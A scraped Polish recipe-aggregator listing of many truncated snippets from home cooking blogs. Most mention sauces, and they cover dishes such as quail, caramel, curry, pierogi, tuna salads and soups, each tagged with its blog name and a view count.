oliwą, przełożyć przepiórki i piec 10 minut w 180’C. Następnie dolać wino i piec około 30 minut (do miękkości mięsa), co jakiś czas polewając tuszki powstałym sosem. Smacznego

Oryginalny smak
Karmel 150

Karmel ma wiele zastosowań. Możemy z niego zrobić sosy, słodkości lub fantazyjne dekoracje. Do zrobienia karmelu najlepiej przygotować patelnię z grubym i jasnym dnem, dzięki czemu nie dopuścimy do przypalenia karmelu (zbyt ciemny będzie gorzki). Przygotowanie: Na patelnię wsypujemy 3/4 szklanki cukru i około 1/2 szklanki wody. Na dość dużym ogniu całość mieszamy, do momentu rozpuszczenia cukru. Następnie ustawiamy niewielki

Oryginalny smak
Kurczak po marokańsku 358

przykryciem, do miękkości mięsa. W razie potrzeby dolać bulion. Daktyle pokroić, dołożyć do mięsa i jeszcze chwilkę dusić. Doprawić pieprzem. Gotową potrawę przełożyć na talerz i polać powstałym sosem. Podawać z ryżem. Smacznego

Oryginalny smak
Placuszki z kaszy gryczanej z kabanosami i serkiem czosnkowym 203

przystawkę lub przekąskę w ciągu dnia. Tym razem chrupiące placuszki z kaszy gryczanej, kabanosami i czosnkowym serkiem. Placki również doskonale sprawdzają się jako danie główne, z dodatkiem np. sosu grzybowego. Dzisiaj jednak proponuję coś na ząb Składniki: 100 g kaszy gryczanej 2 jajka 1 łyżka bułki tartej 250 g twarogu 3 ząbki czosnku 1 płaska łyżka kwaśnej śmietany około

Oryginalny smak
Smażone pierogi z wołowiną na ostro /mięso 245

wszystko podsmażamy. Dolewamy wino, bulion, dodajemy szczyptę cukru, koncentrat pomidorowy i zmiksowane pomidory z puszki (bez zalewy). Mieszamy. Dusimy na małym gazie (pod przykryciem) około 1,5 godziny, aż sos bardzo zgęstnieje. Musi się prawie cały zredukować, aby można bez problemu nadziewać pierogi. Do gotowego mięsa dołożyć pokrojone w małą kosteczkę suszone pomidory i zostawić do ostygnięcia. Następnie dodać drobniutko

Oryginalny smak
Indyjskie rybne curry 241

chwilę rumień. Dodaj pastę imbirowo – czosnkową, szczyptę cukru, pastę tamaryndową, bulion, liście curry, laskę cynamonu i mleko kokosowe. Wymieszaj i chwilę gotuj. Włóż pokrojoną rybę i duś, aż sos się zredukuje, a ryba będzie ugotowana. Dopraw solą. Gotowe rybne curry posyp posiekana kolendrą. Możesz również delikatnie skropić sokiem z limonki. Podawaj z chlebkiem naan lub z ryżem. Smacznego

Oryginalny smak
Sos czosnkowy 197

Idealny dodatek do pizzy, dań z grilla, sałatek itp. Prosty i smaczny Składniki: 3-4 ząbki czosnku 3 łyżki majonezu 4 łyżki śmietany szczypta cukru sól

Oryginalny smak
Raita z ogórkiem 277

Raita to rodzaj indyjskiego dipu przygotowywanego na bazie jogurtu i przypraw, najczęściej serwowanego jako dodatek do dań głównych. Istnieje wiele wersji tej potrawy np. na słodko

Oryginalny smak
Zapiekanka z cukinią, figami i kozim serem 227

Ostatnio zrobiłam pieczone figi z orzechami włoskimi i sosem z czerwonego wina . Tym razem przygotowałam je w wersji wytrawnej z cukinią i kozim serem. Jest to kolejny pomysł na wykorzystanie fig, na które sezon niestety już się kończy. Zapiekanka nie jest skomplikowana i stanowi bardzo smaczny dodatek do obiadu. Składniki: 1 większa cukinia 2 figi 120 g koziego sera

Oryginalny smak
Harissa 215

Harissa to bardzo ostra pasta z papryczek chili, czosnku i przypraw, pochodząca z Afryki Północnej. Używana jest do różnego rodzaju mięs, zup, sosów i kanapek. Ostrość harissy można regulować ilością dolanej oliwy, im jej więcej, tym pasta będzie łagodniejsza. Składniki: 9 średnich suszonych papryczek chili 5 ząbków czosnku 2 łyżeczki nasion kolendry 1 łyżeczka kminu rzymskiego 1 łyżeczka kminku oliwa

Oryginalny smak
Pampuszki z polewą czosnkową 219

Pampuszki to małe bułeczki drożdżowe, które są nieodzownym dodatkiem np. do barszczu ukraińskiego. Są smaczne i doskonale smakują polane zimnym sosem czosnkowym Składniki: 1 jajko 1 i 3/4 szklanki mąki 1/2 szklanki mleka 30 g drożdży 3 łyżki oliwy 1/2 łyżeczki cukru 1/2 łyżeczki soli 1 białko do posmarowania Polewa czosnkowa: 4 ząbki czosnku 2 łyżki oliwy 2 łyżki przegotowanej

Oryginalny smak
Pierś z kurczaka nadziewana pieczarko-pomidorem z parowaru 448

minut. Filet z piersi kurczaka zawsze układam na folii aluminiowej i zaginam końcówki, żeby nic z soków nie uciekało na dół, tylko żeby się parował we własnym sosie. Zabieramy się za cukinię. Myjemy ją i kroimy kilka plasterków zwykłym obierakiem. Z plasterków można uformować takie kształty jak u mnie, czy parować jako plasterek. Cukinię dodajemy

Parowar Faceta
Klopsiki ziołowe z ryżem z parowaru 220

tarce białą rzodkiew. Dodajemy do niej łyżkę majonezu i łyżkę jogurtu naturalnego, posypujemy pieprzem czarnym i wszystko mieszamy. Po 20 minutach wszystko nakładamy na talerz, a ryż można polać sosem z aluminiowej tacki, na której się parowały klopsiki i można jeść. Jak zawsze czekam na wasze komentarze i uwagi. Jeżeli wypróbujesz przepis, z chęcią się dowiem czy Ci smakowało

Parowar Faceta
Pieróg biłgorajski z kaszą gryczaną 832

Pieróg biłgorajski to potrawa regionalna Lubelszczyzny. W 2005 roku potrawa ta została wpisana na Listę Produktów Tradycyjnych tego regionu. Można go jeść  z masłem, z mlekiem, ketchupem , z sosem z grzybów, zarówno na ciepło i na zimno, jak kto woli. Ja najbardziej lubię z masełkiem jak widać na załączonym foto. Czas pieczenia

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Mini tarty z kurczakiem 426

nasze tarty. Na kurczaka kładziemy kawałki sera, posypujemy oregano, bazylią , delikatnie solą i pieprzem. Całość wkładamy do piekarnika i pieczemy do momentu ładnego zarumienienia się ciasta . Można podać z sosem czosnkowym. Tarty piekły się około 30 minut

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Zapiekanka makaronowa 374

połączyć z wodą, śmietanką i koncentratem. Zagotować , pogotować kilka minut. Do blaszki wyłożonej papierem wsypać makaron, szynkę i paprykę  pokrojone w kosteczkę i usmażone pieczarki, przemieszać. Całość zalać sosem i posypać oregano. Wstawić do piekarnika nagrzanego na 200 stopni i piec ok 30 min do zmięknięcia makaronu. Wyjąć i posypać wierzch starkowanym serem, posypać jeszcze szczyptą oregano i wstawić

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Surówka z kapusty pekińskiej 321

Kolejna prosta i szybka surówka z dodatkiem gotowego dresingu Winegret. kapusta pekińska szczypiorek dresing winegret  Kapustę i szczypiorek pokroić, dodać sos i wymieszać

Moje domowe kucharzenie
Cukinia faszerowana 242

wyszło. Jak dla mnie była nawet dobra, ale rodzinki kubki smakowe potrzebują chyba czegoś innego :) Składniki:  ok. 6 małych cukinii 0,5 kg mięsa mielonego 1 butelka sosu/ przecieru pomidorowego ok. 30 dag pieczarek 2 duże cebule 200 g sera żółtego czosnek (u mnie 2 większe ząbki), sól, pieprz, bazylia, tymianek i inne ulubione przyprawy. 1 torebka ryżu (opcjonalnie

charlotte gotuje
Kurczę pieczone na piwie 362

proponuję ok 10 - 15 min, by "odpoczął", nie stracił wilgotności i oparów alkoholu ze środka. Podajemy z pieczonymi i / lub warzywami. Zebrany w naczyniu płyn możemy wykorzystać do zrobienia sosu. Dodajemy do niego lampkę czerwonego wina, śmietanę, całość zagęszczamy mąka i doprawiamy do smaku solą oraz pieprzem. Smacznego :) Dla zainteresowanych zamieszczam link do filmiku:  Kurczak

Taste Of My Day
Mule 258

Coś dla osób, które chcą przygotować elegancką i wyśmienitą potrawę w zaledwie 15 minut. W ten sposób przygotowane małże są delikatne w smaku i aromatyczne. Aksamitny sos, który wytworzy sie w tej potrawie  jest idealny do polania świeżej bagietki i zjedzenia jej razem z małżami. Taki sposob serwowania małż jest w moim domu od lat. Mule, inaczej zwane omułkami

Zainspiruj się kuchnią
Sałatka z krewetkami, mozzarellą i oliwkami 210

sera mozzarella, zielonych oliwek firmy Serpis (które nadziane są cytryną i smakują znakomicie) oraz suszonych pomidorów (firmy Ponti), które są bardzo smaczne i aromatyczne. Całość polałam sosem przygotowanym z cukru trzcinowego, octu balsamicznego i oliwy z oliwek. Taka sałatka idealna jest jako przekąska w ciągu dnia. Niedawno podjęłam współpracę z firmą Index

Marta Gotuje
Zapiekanka makaronowa z kurczakiem, papryką, kukurydzą 6562

pierś kurczaka, pokrojoną w kostkę paprykę i odcedzoną kukurydzę. Wszytko mieszamy. Przekładamy do naczynia żaroodpornego. Jajka roztrzepujemy i wlewamy do nich kremówkę. Dodajemy szczyptę soli i pierzu. Zalewamy zapiekankę sosem i posypujemy startym żółtym serem i ziołami prowansalskimi. Pieczemy ok. 30 minut w 180 stopniach

Aga w kuchni
B... Babeczki marchewkowe 217

Przygotowujemy kąpiel wodną. Do połamanej, białej czekolady dodajemy łyżkę mleka i pokrojoną w kostkę pomarańczę bez skórki.  Wyciągamy babeczki z piekarnika, czekamy, aż ostygną i polewamy je dowolnym sosem. Wg mnie biała czekolada z nutką pomarańczy pasuje idealnie do marchewki. Naczelny był w szoku! Spróbował i mówi: ale gdzie ta marchewka?! :) mały sukces, ponieważ również był sceptyczny i myślał

Kitchens Alphabet
Śniadanie zdrowe,pożywne,aromatyczne! 279

najlepszych, ekologicznych i wyłącznie tradycyjnych surowców, według klasycznych, starych receptur. Musztarda łagodna BIO jest idealna zarówno w postaci dodatku do wędlin, jak i bazy wielu zimnych i gorących sosów, majonezów i marynat. Całości dopełnił chleb graham i sałata lodowa. Oliwki to podstawa! Smacznego

Z Kuchni Do Kuchni
Pierś z kurczaka w orientalnych przyprawach z ziarenkami 180

Wlej oliwę z oliwe, wciśnij sporo czosnku , dodaj przyprawy jakie lubisz, u mnie orientalne . Wymieszaj, dolej 3 łyżki mleka. Natsępnie włóż do lodówki na godzinę. Wyciągnij, dodaj łyżkę, dwie sosu winegret pomarańcza +oliwa z oliwek, posól. Wymieszaj i do lodówki na noc. Na drugi dzień przygotuj ziemniaki, marchewkę, seler, pora,pietruszkę i łącznie z kurczakiem włóż do posmarowanej masłem brytfanny

Z Kuchni Do Kuchni
K... Kuskus 303

innych jest pomocą w trakcie rozmaitych diet, ponieważ nie jest bardzo kaloryczna. Z tym ostatnim mogę się zgodzić pod warunkiem, że nie dodamy do niej żadnego ciężkiego sosu. Zresztą ta sama zasada dotyczy makaronów i ziemniaków. Wszystko z umiarem jest dobre :) Do dzisiejszej ryby postanowiłam przygotować "sałatkę" kuskus z warzywami, która jako lekki dodatek idealnie wpasowała się w wieczorne klimaty

Kitchens Alphabet
Tarta szpinakowa 198

wyjąć ciasto i przełożyć szpinak. Włożyć jeszcze raz do piekarnika i piec około 15 minut ( wiadomo że każdy piekarnik piecze inaczej ) Po upieczeniu i ostygnięciu taka tartę podaję z sosem czosnkowym lub majonaezowo - ketchupowym moja rodzinka takie dodatki uwielbia

Sama słodycz i szczypta chili
WIŚNIOWY SERNIK Z KRUCHYM CIASTEM KOKOSOWYM I KRUSZONKĄ /bezglutenowy. 225

naturalna mąka kokosowa ze zmielonego miąższu orzecha kokosowego. Skład: mąka kokosowa* 100% (*produkt rolnictwa ekologicznego). Zastosowanie: do pieczenia ciast, babeczek, naleśników oraz pieczywa. Stosowana jako zagęszczacz do zup i sosów lub jako posypka do lodów, deserów, sałatek. W połączeniu z mlekiem lub sokiem może być użyta do przygotowania napoju. Wartość odżywcza w 100 g: Wartość energetyczna - 1313 kJ / 313 kcal

Wypisz Wymaluj
Boczek pieczony do kanapek 287

boczku. Wkładamy do naczynia żaroodpornego (skórą do dołu) i podlewamy niewielką ilością wody. Pieczemy w temp. 200 stopni przez około 70 minut. Od czasu do czasu polewając powstałym sosem. Pyszny boczek na kanapki gotowy ! Wytopiony tłuszcz z boczku zlewamy do słoiczka. Gdy wystygnie - otrzymamy galaretkę, którą możemy posmarować chleb i na nią kłaść plastry boczku z cebulką

Moje Kuchenne Rewelacje
Pstrąg z masłem pietruszkowym 286

folii aluminiowej wysmarowanej masłem pietruszkowym.Wierzch obkładamy  plasterkami cytryny. Zawiniętego w folię pstrąga wkładamy do nagrzanego piekarnika (220st.)i pieczemy 20-25 minut.Pstrąga polewamy wytworzonym podczas pieczenia sosem i podajemy z białym pieczywem i koniecznie z  surówką

Gorący kąsek
Pierś kurczaka w śmietanie 246

gotujemy ryż  Po 20 min do mięsa dodajemy  śmietan ę  i chwilkę podgrzewamy ( jeśli wolimy gęstsze  można zaprawić  lekko mąką)  Gotowy sos nakładamy na ugotowany  ryż Smacznego

Klaudynkowa kuchnia
BUŁECZKI SZEFA 174

BUŁECZKI SZEFA można podać z sosem koperkowo-czosnkowym Składniki: - 500g mąki pszennej - 3 jajka - 1 łyżeczka soli - 4 łyżeczki cukru - 125ml mleka - 3/4 margaryny -  pół kostki drożdży - 300g parówek koktajlowych - 250g salami - 200g sera żółtego Sposób przygotowania: Na początek podgrzewamy mleko. Ciepłe mleko wlewamy do miski i w nim rozpuszczamy drożdże, dodajemy kolejno mąkę, jajka, sól i cukier

Mentor Smaku
DIAMANT-owa przyjemność 253

szerokie zastosowanie  w kuchni. Produkt doskonale sprawdza się jako polewa do naleśników i gofrów, składnik ciast, w szczególności pierników, dodatek do lodów i deserów, a także baza do sosów, marynat i dipów. Polecany do słodzenia gorących napojów i drinków. Trzcinowy posmak produktu nadaje daniom głębi smaku. Idealna konsystencja i specjalna membrana w zamknięciu ułatwiają dozowanie odpowiedniej ilości syropu

Z Kuchni Do Kuchni
Kurczak, gruszka, cukinia = PYSZNIE! 284

solą i pieprzem. Gruszki kroimy, obieramy i na łyżce oliwy podsmażamy wraz z cukinią przez 3 minutki. Wykładamy na pierś z kurczaka, polewamy miodem, rolujemy. Możecie spiąć patyczkami. Polewamy sosem z podsmażenia i oliwą, pieczemy pod przykryciem z foli aluminiowej, przez około 30-40 minut w nagrzanym piecu! Smakowało? ;-)))) Pięknej niedzieli Wam życzę! Buuuuuuuuziaki! Zapraszam na Facebooka SmykWKuchni! Karola

SMYKWKUCHNI
Sałatka ryżowa z tuńczykiem 487

Sałatka ryżowa z tuńczykiem . Dzisiaj zapraszam na sałatkę ryżową z tuńczykiem , pyszna i prosta . :)  Składniki : 2 woreczki ryżu 2 puszki tuńczyka w sosie własnym kawałek pora 1 cebulka 1 puszka kukurydzy Majonez sól, pieprz, kilka ogórków korniszonych  2 jajka Wykonanie; Ryż ugotować i odstawić do przestygnięcia. Jajka ugotować na twardo i pokroić w kostkę. Por umyć i pokroić

Sama słodycz i szczypta chili
Pasta z tuńczyka i jajek do cheba wiejskiego 181

Pasta szybka, smaczna w sam raz na niedzielne śniadanie. Polecam SKŁADNIKI 5 ugotowanych jajek 1 łyżka majonezu 1 puszka tuńczyka  w sosie własnym sól, pieprz do smaku 10 dag. sera żółtego do starcia WYKONANIE Tuńczyka otwieramy i wrzucamy do salaterki. do tego dodajemy ugotowane starte na drobnych oczkach tarki jajka. Do tego dodajemy majonez stary ser, sól pieprz

W kuchennym oknie Ewy
PISEMNE ZAPROSZENIE DO ŚWIATA MATKI I CÓRKI. 178

weekend wybywamy m.in pozbawić jaj... kocura), czy razem działać w czymś, co nie przynosi zysków materialnych, ale daje ogromną satysfakcję (i my, ramię w ramię działamy w Fundacji SOS Bokserom jako wolontariuszki). O tych łączących nas rzeczach możemy pisać i pisać, ale komu by się chciało czytać to, co i tak wyjdzie w praniu (czyt. w naszych postach). Gdyby ktoś

Wypisz Wymaluj
PLACUSZKI CUKINIOWE 169

Placki smażone na patelni zna każdy, ale większość ogranicza się jedynie do tworzenia z ziemniaków. Powstają tak placuszki ziemniaczane, które każdy je inaczej - z keczupem, z gulaszem, z sosem, z dipem, ze śmietaną, na słodko - śmietana i cukier albo 'bez dodatków'. Jedni robią wielkie, o średnicy patelni, inni malutkie. Nie ważne w jakim wydaniu - każdy wie o co chodzi

Wypisz Wymaluj
PIERŚ Z INDYKA PIECZONA Z WINOGRONAMI I CZOSNKIEM, PODAWANA Z KARMELIZOWANYMI WARZYWAMI. 210

następnie papryczki a po nich przyprawy. Mieszamy dość długo. Na koniec zalewamy sokiem z brzoskwiń i chwilę gotujemy. Odwracamy indyka. Pod koniec pieczenia dorzucamy leniwe pierogi, które obtaczamy w 'sosie własnym' jaki wyprodukował nam związek ptaszyska z przyprawami i czosnkiem. Na leniwki wrzucamy wypestkowane winogrona i posypujemy serem. Chwilę jeszcze zapiekamy. No i co nam z tego wychodzi? REWELACJA! Smak

Wypisz Wymaluj
SAŁATKA TUŃCZYKOWA (z kapustą pekińską, ryżem i...) 385

jest mieć pod ręką przepis na taką ekspresową, smaczną i niebanalną sałatkę, więc... zapraszamy na małe co nieco! SKŁADNIKI: - kapusta pekińska, połowa, - puszka tuńczyka (najlepiej w oleju, aczkolwiek w sosie własnym też się nadaje), - puszka kukurydzy, - torebka ryżu parabolicznego, - cebula czerwona - 3, - majonez, - przyprawy: pieprz czarny, odrobina vegety (najlepiej domowej), - opcjonalnie jajko. Dość drobno kroimy kapustę i cebulę. Mieszamy

Wypisz Wymaluj
ZUPA KWAS (kwaśnica z suszonymi grzybami). 195

ętajmy aby wywar przecedzić!/ Dorzucamy pokrojone grzyby. Zabielamy śmietaną (my dałyśmy pół kubka). Zagotowujemy, przyprawiamy i serwujemy wrzątek. /NIE ZAGĘSZCZAMY MĄKĄ!!! - W naszym domu nigdy, żadnej zupy i żadnych sosów nie traktujemy mąką i tego typu rzeczami.  Nasza zupa ma zwykle dość kremową, gęstą konsystencję i jest bardzo esencjonalna. Jeśli wolicie rzadsze i smakowo delikatniejsze, śmiało możecie rozcieńczyć

Wypisz Wymaluj
GOFRY MIGDAŁOWE, AMARANTUSOWO-OWSIANE - BEZGLUTENOWE... dżemem malowane. 257

Skworcu. "MĄKA Z MIGDAŁÓW są to dokładnie rozdrobnione orzechy migdałowca. Jest to bezglutenowy produkt z przeznaczeniem do wypieków cukierniczych i nie tylko. Sprawdzi się w zagęszczaniu zup i sosów, przygotowaniu pasztetów i farszów. Można nią zastąpić bułkę tartą w panierce. Mąka z migdałów, dzięki wysokiej zawartości białek, jest doceniana w kuchni wegetariańskiej. Produkt ten zawiera nienasycone kwasy tłuszczowe, witaminy

Wypisz Wymaluj
PIZZA BIAŁO-ZIELONA (m.in. ze szpinakiem / ciasto tradycyjne i bezglutenowe owsiane) 213

nasza ulubiona pizza. Smak zdecydowanie odbiega od pizzy tradycyjnej, ale jedno pozostaje. Ona - jak i inne - zdecydowanie najlepiej smakuje z domowym dipem czosnkowym. Co prawda zastępuje on pomidorowy sos już od podstaw (przypominamy, że ciasto jest nim posmarowane), ale jest również (przynajmniej według nas) obowiązkową opcją również "od góry". Zresztą - czosnku nigdy dość! Pizza ma tak charakterystyczne smaki

Wypisz Wymaluj
Wrapy z papieru ryżowego 239

papieru, nakładamy kapustę pekińską, warzywa i polewamy ketchupem. Zawijamy w jakikolwiek sposób. Następnie wrapy smażymy na  lekko natłuszczonej patelni pod przykrywką, aż do zarumienienia. Wrapy podajemy z ulubionym sosem. Smacznego

Truskawkowa Fiesta
Kolacja we dwoje czyli burgery na ostro 371

masę i formujemy burgery. Opiekamy je w piekarniku bądź na teflonowej patelni, lepszą są bez smażenia w tłuszczu. Bułki przekroić na pół, opiec. Składać burgery razem z warzywami i sosami. Podawać na ciepło. Najlepiej smakują w towarzystwie coli

Magiczne Życie Marty
Kremowy makaron. Makaron w kremowym sosie. 311

post Kremowy makaron. Makaron w kremowym sosie. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z tuńczyka 593

jajka,  zalać wodą, gotować na twardo.  Obrać jajka ze skorupek,  pokroić w kostkę.  Szczypiorek umyć, pokroić.  Do miski wyłożyć ostudzony ryż,  tuńczyka z sosem, jajka i odlaną z zalewy kukurydzę.  Wymieszać wszystkie składniki sałatki z majonezem, doprawić do smaku solą i pieprzem. Gotową sałatkę przełożyć do salaterki, schłodzić w lodówce. (function

Kuchnia Danusi
M... Muffiny wytrawne! 231

przyszedł czas na ich wytrawną wersję. Przepis jest praktycznie taki sam. No, oprócz tego, że nie dodajemy cukru, cynamonu i innych słodkich dodatków ;) Dziś w towarzystwie zielonej sałaty w sosie vinaigre sprawdziły się doskonale! Składniki (6 muffinów) 3/4  szklanki mąki 1 łyżeczka proszku do pieczenia 1 łyżeczka sody dosłownie szczypta soli 1 jajko 1/2 szklanki mleka 1/3 szklanki oleju

Kitchens Alphabet
Chipsy buraczane 211

Chipsy buraczane to idealna alternatywa dla osób będących na diecie lub po prostu zdrowo się odżywiających. Smakują naprawdę świetnie. Niektóre cieńsze są lekko chrupkawe; te grubsze (miększe) maczane w sosie, rozpływają się w ustach. Lubisz chrupać przed telewizorem pełne tłuszczu chipsy ze sklepu? Może pora wypróbować zdrowszą wersję? Buraczana będzie odpowiednia na początek.. a więc.. smacznego. Składniki

Czarnawisienka
Kurczak po meksykańsku 380

wrzucamy na patelnię i podsmażamy. Następnie dodajemy pokrojone pomidory z puszki, koncentrat pomidorowy oraz przeciśnięty przez praskę czosnek. Wszystko chwilę razem dusimy. Paprykę kroimy w kostkę i dodajemy do sosu razem z czerwoną fasolą i kukurydzą. Doprawiamy do smaku. Całość dusimy jeszcze kilka minut. Kurczaka podajemy z ryżem

Animelka Blog
Wołowina w czerwonym winie z ziemniakami 218

przez 15 minut. Ponownie z  szybkowara wypuszczamy parę, odkręcamy.   W kubeczku mieszamy mąkę i śmietanę z odrobiną zimnej wody. Wlewamy do mięsa i doprowadzamy do wrzenia. Sos powinien lekko zgęstnieć

Kulinarne przygody Gatity
Nogi z kurczaka po sycylijsku 216

stopni i duś kurczaka do momentu, aż zmięknie ,a mięsko będzie odchodziło od kości. Międzyczasie uparuj ziemniaki. Gotowego kurczaka rozłóż na talerze, połóż ziemniaki- na nie wylej trochę sosu powstałego podczas duszenia.  Sałatka sycylijska obok jest idealna i niezastąpiona! Danie aromatyczne, pełne wspomnień, soczyste i bardzo zdrowe. Tak przyrządzony kurczak w brytfannie Toscana jest kruchutki i bardzo smaczny

Z Kuchni Do Kuchni
Gęś po polsku w kapuście 198

koniec gotowania, mąkę wymieszać ze śmietaną i połączyć z kapustą, doprawić do smaku. Kapustę wyłożyć na półmisek, na niej ułożyć upieczone gęsie nogi. Polać wytworzonym podczas pieczenia sosem. Gęsinę podać z  ziemniakami z wody ,posypaną  natką pietruszki

Kulinarny karnet Christophera
Kopytka 352

kluski. Wrzucamy partiami do osolonego wrzątku, mieszamy by nie przywarły do dna. Gdy wypłyną na powierzchnię gotujemy jeszcze 5 minut. Wyjmij łyżką cedzakową lub siteczkiem. Podajemy ze skwarkami albo sosem. Świetnie też smakują na słodko odgrzane na patelni z masłem i posypane cukrem

prawdziwe jedzenie
PASTA SŁONECZNIKOWA Z SUSZONYMI POMIDORAMI. 305

SUSZONYMI POMIDORAMI. /zmodyfikowany przepis z bloga Jadłonomia ;/ 150g łuskanego słonecznika 5 suszonych pomidorów 1/2 małej cebuli 2-3 ząbki czosnku 2-3 łyżki oleju z pomidorów suszonych 2 łyżki sosu sojowego ok. 1/3 szklanki zimnej wody sok z 1/2 cytryny świeżo mielony pieprz  odrobina tabasco Pomidory osączam z zalewy na papierowym ręczniczku. Słonecznik prażę na suchej patelni, aż się

W kuchni Karmel-itki
EXPRESOWA SAŁATKA Z POMIDORÓW 484

Kocham pomidory miłością bezgraniczną...cały rok i  pod każdą postacią: w zupie,  sosie, sałatce, na kanapce.. . dlatego też co najmniej 2-3 razy w tygodniu muszę zjeść sobie taką expresową sałatkę z pomidorków Do której potrzebuję: pomidorki 1 cebulka sól, pieprz jogurt naturalny 0% najlepiej grecki szczypiorek Jak się robi?  Na pewno wszyscy doskonale wiedzą... niektórzy

Walijskie Pichcenie
KLOPSIKI ALA MEETBOLSY 163

gotującą wodę z kostką rosołową, liściem laurowym oraz zielem angielskim. Gotujemy ok 1/2 h na małym ogniu, po czym dodajemy przecier pomidorowy.Gotujemy jeszcze chwilę bez przykrycia redukując ilość sosu. Doprawiamy sosik do smaku (wg uznania), i dodajemy zahartowaną osobno słodką śmietankę. Posypujemy obficie koperkiem. Podajemy z ziemniaczkami albo jak często u mnie bywa z kopytkami

Walijskie Pichcenie
SOS MAJONEZOWO-KETCHUPOWO-CZOSNKOWY 154

zimno. Przepis jest prościutki: Potrzebujemy: majonez ketchup jogurt grecki papryka ostra ząbek czosnku Wykonanie: Majonez mieszamy z ketchupem, dla nadania delikatności dodaję jeszcze jogurt grecki, gdyż nie lubię ciężkich sosów na bazie samego majonezu. Po wymieszaniu dodaje posiekany drobniutko ząbek czosnku. Doprawiam całość odrobiną ostrej papryki. Mieszam i odstawiam do lodówki w celu "przegryzienia się" składników

Walijskie Pichcenie
CHLEBEK PITA Z NADZIENIEM 214

st.Obserwuj, kiedy pity zaczną się wybrzuszać,to znak, że zaraz będą gotowe (nie powinny się zrumienić). Surówkę  przepis tutaj  wymieszaj z pokrojonym mięskiem, połóż na pitę, polej sosem  przepis tutaj  i zajadaj... ze smakiem

Walijskie Pichcenie
POLICZKI WOŁOWE Z BOROWIKAMI 303

smażenia spadnie i mięsko nie odsmaży się tylko zacznie się gotować. Podsmażone mięso przekładamy do drugiego garnka, a na  powstałym  sosiku, podsmażamy cebulę, którą przekładamy wraz z sosem do naszego mięsa. Następnie wlewamy pół szklanki wina, wrzucamy liść laurowy, ziele angielskie,grzybki (jeśli używamy suszonych, to uprzednio namoczone) doprawiamy solą, pieprzem i gotujemy na małym ogniu

Walijskie Pichcenie
TRADYCYJNE KOTLETY MIELONE 233

Dodać roztarty ząbek czosnku. Z mięsa uformować kotleciki, obtoczyć  je w bułce tartej. Smażyć na gorącym tłuszczu po obu stronach na złoty kolor. Podawać polane tłuszczem lub z sosem śmietanowym... Serwować z kaszą lub ziemniakami i z dowolnym dodatkiem. Ja podałam z surówką z kapusty pekińskiej  TUTAJ , którą wszyscy bardzo lubimy

Walijskie Pichcenie
DWA SŁOWA O KUCHNI REGIONALNEJ 228

łachu - gw.poznańska) przegrywały z ciastem z kwiatem lawendy, fiołkami i rumem, a przepyszna zasmażana czerwona kapusta (modro kapusta - gw.Górnego Śląska) ze smażonymi mule w miętowo-cytrynowym sosie? Fajnie gdyby na każdym blogu kulinarnym była zakładka: moje regionalne potrawy.  Bo cytując za Jachowiczem  "Cudze chwalicie, swego nie znacie, sami nie wiecie, co posiadacie..." :)) Tylko na moim ulubionym

Walijskie Pichcenie
OBIADOWA SAŁATKA Z BURACZKÓW I CEBULI 211

Lubię buraki pod każdą postacią.  Często robię zasmażane do obiadu albo sałatkę z buraczków i cebulki.  Świetnie pasuje szczególnie do mięs i ciemnych sosów: bitek, mielonych, gulaszu...  Polecam gorąco! Składniki: 6 buraczków średniej wielkości 1 cebula (10 dag) 4 łyżki oliwy lub oleju 2 płaskie łyżki cukru 1 łyżeczka soli ¼ łyżeczki kwasku cytrynowego lub sok z cytryny

Walijskie Pichcenie
SCHAB PIECZONY W RĘKAWIE 225

godziny do lodówki aby smaki się połączyły. Następnie pieczemy w piekarniku w 180 stopniach. Czas pieczenia w zależności od wielkości. Ja piekłam 1,5h.  Podajemy w plastrach z sosem np. pieczeniowym albo chrzanowym lub też serwujemy na kanapkach z dodatkiem musztardy lub chrzanu

Walijskie Pichcenie
KLUSECZKI FRANCUSKIE 186

Kluski francuskie to takie bardziej delikatne kluski kładzione. To bardzo fajny dodatek do zup lub  mięsa z dodatkiem sosu najlepiej pieczeniowego, grzybowym albo pomidorowym. Wiele osób zajada się kluskami polanymi stopionym masłem i posypanymi parmezanem. Robiąc kluski korzystałam z niezawodnego przepisu Margarytki  TUTAJ  :) Składniki: 1  łyżka  masła 3 jajka 5 łyżek mąki pszennej ½ łyżeczki soli

Walijskie Pichcenie
STROGANOW 305

przekładamy do garnka z cebulą i pieczarkami. Szklankę bulionu przelewamy na patelnię i doprowadzamy do wrzenia. Wykorzystujemy w ten sposób aromaty, które  pozostały ze smażenia dzięki czemu uzyskujemy sos, który następnie dodajemy do garnka. Doprawiamy całość słodką papryką, wszystko dokładnie mieszamy i dusimy na bardzo małym ogniu, dodając co jakiś czas resztę bulionu, aby uzupełnić wyparowany płyn. Czas duszenia

Walijskie Pichcenie
PIECZARKI W POMIDORACH 248

skromna, ale ja będę nie skromna i powiem, że wyszła pysznie :))) Składniki: 2op  małych pieczarek po 250g ząbek czosnku 1 cebula łyżka oliwy z oliwek puszka pomidorów w sosie własnym lub 2 łyżki koncentratu pomidorowego 2 ogórki konserwowe 1 papryka konserwowa sól, pieprz,słodka papryka Jak to zrobić: Pieczarki dokładnie myjemy. Rozgrzewamy na patelni oliwę. Czosnek obieramy, kroimy

Walijskie Pichcenie
PENNE Z CZERWONĄ FASOLĄ I PIECZARKAMI 262

żymy ok 10 minut, podlewając odrobiną wody (nie trzeba dużo, bo pieczarki puszczą sok). Na koniec dodajemy fasolkę z puszki wraz z zalewą. Zagotowujemy całość. Makaron przekładamy do naszego sosu, mieszamy, posypujemy natką pietruszki lub koperkiem. Smacznego

Walijskie Pichcenie
DOMOWY BULION WARZYWNY 163

Zamiast stosować bulion z kostki, który nie oszukujmy się należy do najzdrowszych, lepiej mieć zawsze pod ręką domowy bulion i wykorzystywać go jako baza do zup czy sosów. Ja przygotowuję zazwyczaj duży gar bulionu, dzielę na porcje i zamrażam. Przepis na domowy bulion (wywar) jest dziecinnie prosty :) Potrzebujemy: 4 marchewki 2 pietruszki 1/2 selera seler naciowy 1 por 2 cebule

Walijskie Pichcenie
POMIDOROWO-PAPRYKOWA Z RYŻEM 223

